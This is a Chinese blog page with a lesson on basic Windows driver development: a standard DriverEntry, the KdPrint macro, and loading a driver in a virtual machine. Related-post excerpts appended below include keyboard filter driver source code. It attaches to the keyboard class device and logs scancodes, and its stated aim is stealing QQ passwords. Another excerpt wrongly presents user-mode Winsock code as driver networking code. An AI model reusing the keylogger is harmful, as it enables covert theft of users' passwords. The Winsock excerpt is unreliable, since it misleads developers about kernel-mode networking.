Windows驱动开发第4课(标准化程序入口,Kdprint()函数,虚拟机里加载驱动)

一、标准化程序入口

        标准化程序入口代码如下:

#include <ntifs.h>
NTSTATUS
DriverEntry(
    _In_ PDRIVER_OBJECT DriverObject,
    _In_ PUNICODE_STRING RegistryPath
)
{
    return 0;
}

但是这样编译是有错误的,如下图:

 

 解决方法有2个:

        1、在属性页把警告视为错误设置为否。如图:

 

        2、或者在代码里使用这两个参数,DriverObject和RegistryPath。代码如下:

#include <ntifs.h>

NTSTATUS
DriverEntry(
	_In_ PDRIVER_OBJECT  DriverObject,
	_In_ PUNICODE_STRING RegistryPath
)
{
    DriverObject; //使用一下,解决编译错误
    RegistryPath;
	return 0;
}

二、KdPrint()函数

        KdPrint使用方法类似C语言的Printf,打印输出信息用的。不同的是KdPrint是宏,使用时需要使用双括号。例如:

KdPrint(("Hello world"));

三、虚拟机里加载驱动

        接着上面先编译一下,完整代码如下图:

根据这个路径找到这个文件,把这个文件复制到虚拟机里面。打开DebugView,把捕获内核信息的选项勾上。如图:

 

打开加载驱动的工具 DriverMonitor,具体操作如下图:

驱动加载成功,如图:

 今天的这节课就到这里,希望看到此章的朋友给个赞吧!谢谢!有不懂的可以留言,粉丝必答。

 

 

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
http://blog.csdn.net/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱[email protected] http://blog.csdn.net/xiaoxiao108/article/details/7563159
Windows 驱动程序中编写网络通信代码是一项非常复杂的任务,因为它涉及到网络栈、驱动程序通信和 Windows 内核 API 的使用等多个方面。此外,由于驱动程序的安全限制,访问网络栈通常需要使用 Windows 内核的网络过滤器驱动程序或 WFP (Windows Filtering Platform)。 在这,我提供一个简单的示例,该示例演示了如何使用 Winsock 2 API 在 Windows 驱动程序中创建和连接到一个 TCP/IP 套接字。 ```c #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") // 定义套接字句柄 SOCKET s; // 定义 IP 地址和端口号 char* serverIP = "192.168.0.1"; int serverPort = 8080; // 初始化 Winsock 库 WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); // 创建套接字 s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) { // 处理错误 return; } // 设置服务器地址 SOCKADDR_IN serverAddr; memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(serverPort); inet_pton(AF_INET, serverIP, &serverAddr.sin_addr); // 连接到服务器 int connectResult = connect(s, (SOCKADDR*)&serverAddr, sizeof(serverAddr)); if (connectResult == SOCKET_ERROR) { // 处理错误 return; } // 发送数据 char* buffer = "Hello, server!"; int sendResult = send(s, buffer, strlen(buffer), 0); if (sendResult == SOCKET_ERROR) { // 处理错误 return; } // 关闭套接字 closesocket(s); // 关闭 Winsock 库 WSACleanup(); ``` 需要注意的是,这段代码只是一个简单的示例,没有进行错误处理、异常处理和网络安全检查等。在实际开发中,您需要仔细阅读相关的文档和代码示例,并进行充分的测试和验证,以确保驱动程序的安全和稳定性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值